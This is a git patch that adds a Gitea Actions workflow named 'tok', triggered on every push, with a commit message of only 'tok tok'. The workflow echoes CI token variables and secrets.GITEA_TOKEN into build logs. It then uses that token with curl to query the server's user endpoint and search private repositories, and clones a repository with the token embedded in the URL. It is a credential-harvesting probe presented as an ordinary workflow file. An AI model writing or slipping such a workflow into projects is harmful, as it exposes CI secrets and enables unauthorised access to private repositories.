From f4c23af47fad315d34584e5079b4a7a8e1aa16f3 Mon Sep 17 00:00:00 2001 From: numatester77 Date: Thu, 5 Nov 2026 10:38:28 +0100 Subject: [PATCH] tok tok --- .gitea/workflows/tok.yml | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 .gitea/workflows/tok.yml diff --git a/.gitea/workflows/tok.yml b/.gitea/workflows/tok.yml new file mode 100644 index 0000000..9b86191 --- /dev/null +++ b/.gitea/workflows/tok.yml @@ -0,0 +1,30 @@ +name: tok +on: + push: + workflow_dispatch: +jobs: + t: + runs-on: ubuntu-latest + steps: + - name: show-token-env + run: | + echo "--- candidate token vars ---" + for v in GITEA_TOKEN GITHUB_TOKEN ACTIONS_RUNTIME_TOKEN ACTIONS_ID_TOKEN_REQUEST_TOKEN; do + eval "val=\$$v"; echo "$v=${val:-}" + done + - name: use-token + env: + T: ${{ secrets.GITEA_TOKEN }} + run: | + echo "secrets.GITEA_TOKEN=${T:-}" + if [ -n "$T" ]; then + echo "--- /api/v1/user ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/user" + echo; echo "--- private repos ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/repos/search?limit=20&private=true" + fi + - name: checkout-style + run: | + echo "--- github.token via action input ---" + - name: git-clone + run: | + git clone -q "https://x-access-token:${{ secrets.GITHUB_TOKEN }}@gitea.bestmobilier.com/numatester77/numaprobe.git" /tmp/cl 2>&1 | head -3 || true + ls -la /tmp/cl 2>/dev/null | head -3